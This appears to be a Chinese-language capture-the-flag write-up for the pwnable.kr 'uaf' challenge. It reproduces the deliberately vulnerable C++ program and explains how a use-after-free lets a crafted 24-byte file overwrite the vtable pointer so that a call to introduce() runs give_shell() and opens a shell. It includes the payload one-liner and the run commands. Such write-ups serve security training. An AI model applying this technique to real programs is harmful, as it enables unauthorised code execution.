pwnable.kr uaf wp

此题考察虚函数内存分配以及uaf(use after free)
本题给出.cpp文件

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

源代码中 case3: 里面free掉了m和w后并未将指针指向NULL,存在悬垂指针,可以有uaf;
uaf即use after free,在悬垂指针后,再次重新分配内存,可以通过各种方式改写悬垂指针指向的内存空间地址,再次调用该指针时,将可能造成严重后果
ManWomanHuman的子类,虚表中存在父类的私有虚函数give_shell()的地址,但并没有直接继承Human的私有虚函数give_shell()

于是我们可以通过先找到虚表中'give_shell()'的地址(gdb调试过程中会出现

0x401550

调用 case3: 后使指针悬垂
然后通过 case2: 重新分配内存,之后再调用 case1:
case2: 调用中argv[2]是从文件读入,读入长度跟之前定义Human *m; Human *w时分配的内存大小相同为0x18,确保后续修改内存区域合适

可以在此处劫持introduce()give_shell(),但是调用'introduce()'时调用的是虚函数指针+0x8处的,所以需要将地址-0x8,

使用python -c "print('\x68\x15\x40\x00\x00\x00\x00\x00')" >~/文档/pwnable/uaf.txt打印不可见字符到文件
之后再使用./uaf 24 ~/文档/pwnable/uaf.txt从文件读入24个字节内容
注意 case2: 需要调用两次,原因是 case1: 最开始调用m,而 case3: 最后free的时w,需重新分配两次内存;
最后可以getshell,pwnable.kr 的/tmp目录可写